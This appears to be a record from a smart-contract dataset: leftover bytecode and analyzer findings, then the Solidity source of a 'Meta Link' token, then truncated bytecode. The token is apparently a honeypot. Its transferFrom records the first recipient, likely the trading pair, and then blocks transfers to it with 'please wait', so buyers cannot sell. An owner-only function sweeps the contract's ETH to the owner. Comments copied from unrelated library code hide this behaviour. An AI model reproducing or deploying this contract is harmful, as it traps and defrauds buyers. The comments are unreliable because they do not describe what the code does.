300000000000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca761144a565b848461161d565b6001905092915050565b610cc061144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612f0d565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a83670de0b6b3a7640000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd261144a565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611eb3565b50565b610e1361144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612f0d565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612fad565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611452565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc557600080fd5b505afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd9190612872565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561105f57600080fd5b505afa158015611073573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110979190612872565b6040518363ffffffff1660e01b81526004016110b4929190612d5d565b602060405180830381600087803b1580156110ce57600080fd5b505af11580156110e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111069190612872565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061118f306109db565b60008061119a610c34565b426040518863ffffffff1660e01b81526004016111bc96959493929190612daf565b6060604051808303818588803b1580156111d557600080fd5b505af11580156111e9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061120e9190612a42565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506112776103e8611269600a670de0b6b3a7640000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b600f819055506112ad6103e861129f6019670de0b6b3a7640000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161136d929190612d86565b602060405180830381600087803b15801561138757600080fd5b505af115801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf91906129e8565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b990612f8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611532576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152990612ead565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116109190612fcd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561168d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168490612f4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f490612e4d565b60405180910390fd5b60008111611740576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173790612f2d565b60405180910390fd5b6000600a81905550600a600b81905550611758610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117c65750611796610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ca057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561186f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119235750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119795750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119915750600e60179054906101000a900460ff165b15611acf57600f548111156119db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d290612e6d565b60405180910390fd5b601054816119e8846109db565b6119f29190613103565b1115611a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2a90612f6d565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a7e57600080fd5b601e42611a8b9190613103565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b7a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd05750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611be6576000600a81905550600a600b819055505b6000611bf1306109db565b9050600e60159054906101000a900460ff16158015611c5e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c765750600e60169054906101000a900460ff165b15611c9e57611c8481611eb3565b60004790506000811115611c9c57611c9b47611dd9565b5b505b505b611cab83838361213b565b505050565b6000838311158290611cf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cef9190612e2b565b60405180910390fd5b5060008385611d0791906131e4565b9050809150509392505050565b600080831415611d275760009050611d89565b60008284611d35919061318a565b9050828482611d449190613159565b14611d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7b90612eed565b60405180910390fd5b809150505b92915050565b6000611dd183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061214b565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e41573d6000803e3d6000fd5b5050565b6000600854821115611e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8390612e8d565b60405180910390fd5b6000611e966121ae565b9050611eab8184611d8f90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611eeb57611eea6133b9565b5b604051908082528060200260200182016040528015611f195781602001602082028036833780820191505090505b5090503081600081518110611f3157611f3061338a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fd357600080fd5b505afa158015611fe7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061200b9190612872565b8160018151811061201f5761201e61338a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061208630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611452565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120ea959493929190612fe8565b600060405180830381600087803b15801561210457600080fd5b505af1158015612118573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121468383836121d9565b505050565b60008083118290612192576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121899190612e2b565b60405180910390fd5b50600083856121a19190613159565b9050809150509392505050565b60008060006121bb6123a4565b915091506121d28183611d8f90919063ffffffff16565b9250505090565b6000806000806000806121eb87612403565b95509550955095509550955061224986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122de85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232a81612513565b61233484836125d0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123919190612fcd565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b3a764000090506123d8670de0b6b3a7640000600854611d8f90919063ffffffff16565b8210156123f657600854670de0b6b3a76400009350935050506123ff565b81819350935050505b9091565b60008060008060008060008060006124208a600a54600b5461260a565b92509250925060006124306121ae565b905060008060006124438e8787876126a0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cb0565b905092915050565b60008082846124c49190613103565b905083811015612509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250090612ecd565b60405180910390fd5b8091505092915050565b600061251d6121ae565b905060006125348284611d1490919063ffffffff16565b905061258881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125e58260085461246b90919063ffffffff16565b600881905550612600816009546124b590919063ffffffff16565b6009819055505050565b6000806000806126366064612628888a611d1490919063ffffffff16565b611d8f90919063ffffffff16565b905060006126606064612652888b611d1490919063ffffffff16565b611d8f90919063ffffffff16565b905060006126898261267b858c61246b90919063ffffffff16565b61246b90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126b98589611d1490919063ffffffff16565b905060006126d08689611d1490919063ffffffff16565b905060006126e78789611d1490919063ffffffff16565b9050600061271082612702858761246b90919063ffffffff16565b61246b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273c61273784613082565b61305d565b9050808382526020820190508285602086028201111561275f5761275e6133ed565b5b60005b8581101561278f57816127758882612799565b845260208401935060208301925050600181019050612762565b5050509392505050565b6000813590506127a881613703565b92915050565b6000815190506127bd81613703565b92915050565b600082601f8301126127d8576127d76133e8565b5b81356127e8848260208601612729565b91505092915050565b6000813590506128008161371a565b92915050565b6000815190506128158161371a565b92915050565b60008135905061282a81613731565b92915050565b60008151905061283f81613731565b92915050565b60006020828403121561285b5761285a6133f7565b5b600061286984828501612799565b91505092915050565b600060208284031215612888576128876133f7565b5b6000612896848285016127ae565b91505092915050565b600080604083850312156128b6576128b56133f7565b5b60006128c485828601612799565b92505060206128d585828601612799565b9150509250929050565b6000806000606084860312156128f8576128f76133f7565b5b600061290686828701612799565b935050602061291786828701612799565b92505060406129288682870161281b565b9150509250925092565b60008060408385031215612949576129486133f7565b5b600061295785828601612799565b92505060206129688582860161281b565b9150509250929050565b600060208284031215612988576129876133f7565b5b600082013567ffffffffffffffff8111156129a6576129a56133f2565b5b6129b2848285016127c3565b91505092915050565b6000602082840312156129d1576129d06133f7565b5b60006129df848285016127f1565b91505092915050565b6000602082840312156129fe576129fd6133f7565b5b6000612a0c84828501612806565b91505092915050565b600060208284031215612a2b57612a2a6133f7565b5b6000612a398482850161281b565b91505092915050565b600080600060608486031215612a5b57612a5a6133f7565b5b6000612a6986828701612830565b9350506020612a7a86828701612830565b9250506040612a8b86828701612830565b9150509250925092565b6000612aa18383612aad565b60208301905092915050565b612ab681613218565b82525050565b612ac581613218565b82525050565b6000612ad6826130be565b612ae081856130e1565b9350612aeb836130ae565b8060005b83811015612b1c578151612b038882612a95565b9750612b0e836130d4565b925050600181019050612aef565b5085935050505092915050565b612b328161322a565b82525050565b612b418161326d565b82525050565b6000612b52826130c9565b612b5c81856130f2565b9350612b6c81856020860161327f565b612b75816133fc565b840191505092915050565b6000612b8d6023836130f2565b9150612b988261340d565b604082019050919050565b6000612bb06019836130f2565b9150612bbb8261345c565b602082019050919050565b6000612bd3602a836130f2565b9150612bde82613485565b604082019050919050565b6000612bf66022836130f2565b9150612c01826134d4565b604082019050919050565b6000612c19601b836130f2565b9150612c2482613523565b602082019050919050565b6000612c3c6021836130f2565b9150612c478261354c565b604082019050919050565b6000612c5f6020836130f2565b9150612c6a8261359b565b602082019050919050565b6000612c826029836130f2565b9150612c8d826135c4565b604082019050919050565b6000612ca56025836130f2565b9150612cb082613613565b604082019050919050565b6000612cc8601a836130f2565b9150612cd382613662565b602082019050919050565b6000612ceb6024836130f2565b9150612cf68261368b565b604082019050919050565b6000612d0e6017836130f2565b9150612d19826136da565b602082019050919050565b612d2d81613256565b82525050565b612d3c81613260565b82525050565b6000602082019050612d576000830184612abc565b92915050565b6000604082019050612d726000830185612abc565b612d7f6020830184612abc565b9392505050565b6000604082019050612d9b6000830185612abc565b612da86020830184612d24565b9392505050565b600060c082019050612dc46000830189612abc565b612dd16020830188612d24565b612dde6040830187612b38565b612deb6060830186612b38565b612df86080830185612abc565b612e0560a0830184612d24565b979650505050505050565b6000602082019050612e256000830184612b29565b92915050565b60006020820190508181036000830152612e458184612b47565b905092915050565b60006020820190508181036000830152612e6681612b80565b9050919050565b60006020820190508181036000830152612e8681612ba3565b9050919050565b60006020820190508181036000830152612ea681612bc6565b9050919050565b60006020820190508181036000830152612ec681612be9565b9050919050565b60006020820190508181036000830152612ee681612c0c565b9050919050565b60006020820190508181036000830152612f0681612c2f565b9050919050565b60006020820190508181036000830152612f2681612c52565b9050919050565b60006020820190508181036000830152612f4681612c75565b9050919050565b60006020820190508181036000830152612f6681612c98565b9050919050565b60006020820190508181036000830152612f8681612cbb565b9050919050565b60006020820190508181036000830152612fa681612cde565b9050919050565b60006020820190508181036000830152612fc681612d01565b9050919050565b6000602082019050612fe26000830184612d24565b92915050565b600060a082019050612ffd6000830188612d24565b61300a6020830187612b38565b818103604083015261301c8186612acb565b905061302b6060830185612abc565b6130386080830184612d24565b9695505050505050565b60006020820190506130576000830184612d33565b92915050565b6000613067613078565b905061307382826132b2565b919050565b6000604051905090565b600067ffffffffffffffff82111561309d5761309c6133b9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061310e82613256565b915061311983613256565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314e5761314d61332c565b5b828201905092915050565b600061316482613256565b915061316f83613256565b92508261317f5761317e61335b565b5b828204905092915050565b600061319582613256565b91506131a083613256565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131d9576131d861332c565b5b828202905092915050565b60006131ef82613256565b91506131fa83613256565b92508282101561320d5761320c61332c565b5b828203905092915050565b600061322382613236565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061327882613256565b9050919050565b60005b8381101561329d578082015181840152602081019050613282565b838111156132ac576000848401525b50505050565b6132bb826133fc565b810181811067ffffffffffffffff821117156132da576132d96133b9565b5b80604052505050565b60006132ee82613256565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133215761332061332c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61370c81613218565b811461371757600080fd5b50565b6137238161322a565b811461372e57600080fd5b50565b61373a81613256565b811461374557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122068811430a33f0a8b62796c7985e272ef6ea956bd22da049c1ee6468d3c67844f64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,701
0x01cf25c7ec19ee5dece80b121121c731037b3d53
/** *Submitted for verification at Etherscan.io on 2021-11-01 */ /** *Submitted for verification at Etherscan.io on */ /** * @dev Intended to update the TWAP for a token based on accepting an update call from that token. * expectation is to have this happen in the _beforeTokenTransfer function of ERC20. * Provides a method for a token to register its price sourve adaptor. * Provides a function for a token to register its TWAP updater. Defaults to token itself. * Provides a function a tokent to set its TWAP epoch. * Implements automatic closeing and opening up a TWAP epoch when epoch ends. * Provides a function to report the TWAP from the last epoch when passed a token address. */ /* ******* ____ ____ ________ _________ _ _____ _____ ____ _____ ___ ____ |_ \ / _||_ __ || _ _ | / \ |_ _| |_ _||_ \|_ _||_ ||_ _| | \/ | | |_ \_||_/ | | \_| / _ \ | | | | | \ | | | |_/ / | |\ /| | | _| _ | | / ___ \ | | _ | | | |\ \| | | __'. _| |_\/_| |_ _| |__/ | _| |_ _/ / \ \_ _| |__/ | _| |_ _| |_\ |_ _| | \ \_ |_____||_____||________| |_____||____| |____||________||_____||_____|\____||____||____| */ //SPDX-License-Identifier: UNLICENSED //To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. /** * @dev Returns the amount of tokens in existence. */ pragma solidity >=0.5.17; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b <= a); c = a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a * b; require(a == 0 || c / a == b); } function div(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b > 0); c = a / b; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ contract BEP20Interface { function totalSupply() public view returns (uint256); function balanceOf(address tokenOwner) public view returns (uint256 balance); function allowance(address tokenOwner, address spender) public view returns (uint256 remaining); function transfer(address to, uint256 tokens) public returns (bool success); /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function approve(address spender, uint256 tokens) public returns (bool success); function transferFrom( address from, address to, uint256 tokens ) public returns (bool success); /** * @dev Returns true if the value is in the set. O(1). */ event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval( address indexed tokenOwner, address indexed spender, uint256 tokens ); } contract ApproveAndCallFallBack { function receiveApproval( address from, uint256 tokens, address token, bytes memory data ) public; } // TODO needs insert function that maintains order. // TODO needs NatSpec documentation comment. /** * Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index */ contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } /** * @dev Returns the number of values on the set. O(1). */ function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ contract TokenBEP20 is BEP20Interface, Owned { using SafeMath for uint256; string public symbol; string public name; uint8 public decimals; uint256 _totalSupply; address public newun; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; constructor() public { symbol = "METALINK"; name = "Meta Link"; decimals = 9; _totalSupply = 1000000000000000000000000000; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function totalSupply() public view returns (uint256) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint256 balance) { return balances[tokenOwner]; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function transfer(address to, uint256 tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint256 tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function transferFrom( address from, address to, uint256 tokens ) public returns (bool success) { if (from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint256 remaining) { return allowed[tokenOwner][spender]; } function approveAndCall( address spender, uint256 tokens, bytes memory data ) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval( msg.sender, tokens, address(this), data ); return true; } function() external payable { revert(); } } contract GokuToken is TokenBEP20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable {} }
0x6080604052600436106100f35760003560e01c806381f4f3991161008a578063cae9ca5111610059578063cae9ca5114610568578063d4ee1d9014610672578063dd62ed3e146106c9578063f2fde38b1461074e576100f3565b806381f4f399146103bd5780638da5cb5b1461040e57806395d89b4114610465578063a9059cbb146104f5576100f3565b806323b872dd116100c657806323b872dd1461027d578063313ce5671461031057806370a082311461034157806379ba5097146103a6576100f3565b806306fdde03146100f8578063095ea7b31461018857806318160ddd146101fb5780631ee59f2014610226575b600080fd5b34801561010457600080fd5b5061010d61079f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019457600080fd5b506101e1600480360360408110156101ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083d565b604051808215151515815260200191505060405180910390f35b34801561020757600080fd5b5061021061092f565b6040518082815260200191505060405180910390f35b34801561023257600080fd5b5061023b61098a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561028957600080fd5b506102f6600480360360608110156102a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b0565b604051808215151515815260200191505060405180910390f35b34801561031c57600080fd5b50610325610df5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034d57600080fd5b506103906004803603602081101561036457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e08565b6040518082815260200191505060405180910390f35b3480156103b257600080fd5b506103bb610e51565b005b3480156103c957600080fd5b5061040c600480360360208110156103e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fee565b005b34801561041a57600080fd5b5061042361108b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047157600080fd5b5061047a6110b0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ba57808201518184015260208101905061049f565b50505050905090810190601f1680156104e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050157600080fd5b5061054e6004803603604081101561051857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114e565b604051808215151515815260200191505060405180910390f35b34801561057457600080fd5b506106586004803603606081101561058b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105d257600080fd5b8201836020820111156105e457600080fd5b8035906020019184600183028401116401000000008311171561060657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506113ad565b604051808215151515815260200191505060405180910390f35b34801561067e57600080fd5b506106876115e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d557600080fd5b50610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611606565b6040518082815260200191505060405180910390f35b34801561075a57600080fd5b5061079d6004803603602081101561077157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061168d565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108355780601f1061080a57610100808354040283529160200191610835565b820191906000526020600020905b81548152906001019060200180831161081857829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610985600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461172a90919063ffffffff16565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473fffffffff